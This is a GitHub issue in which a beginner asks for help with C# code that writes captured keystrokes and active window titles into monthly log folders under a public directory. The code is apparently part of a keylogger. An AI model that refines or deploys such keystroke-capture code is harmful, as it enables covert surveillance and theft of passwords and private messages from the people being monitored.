Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Need a little Help #2

Open
timjohnson1324 opened this issue Oct 8, 2019 · 0 comments
Open

Need a little Help #2

timjohnson1324 opened this issue Oct 8, 2019 · 0 comments

Comments

@timjohnson1324
Copy link

I'm trying to achieve that it will create a Jan to Dec Folder it will add the logs in in every folder for the respective month a try to change the code to this:

            string pathme = "C:/Users/Public/Logs/ " + DateTime.Now.ToString("yyyy-MMMM");
            Directory.CreateDirectory(pathme);
            string loggerPath = @pathme+"/" + DateTime.Now.ToString("yyyy-MM-dd") + ".lm";
            using (StreamWriter sw = new StreamWriter(loggerPath, true))
            {
                if (CurrentActiveWindowTitle == GetActiveWindowTitle())
                {
                    sw.Write(currentKey);
                }
                else
                {
                    sw.WriteLine(Environment.NewLine);
                    sw.WriteLine($"-------------------------------------------------------------------------------------------------------");
                    sw.WriteLine($"Window Name:  {GetActiveWindowTitle()} ");
                    sw.WriteLine($"-------------------------------------------------------------------------------------------------------");
                    sw.Write(currentKey);
                }
            }

although its working fine, I wonder if i place it in the right place or need some good code. im new in C# and im trying to learn some knowledge in programming. thank you.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant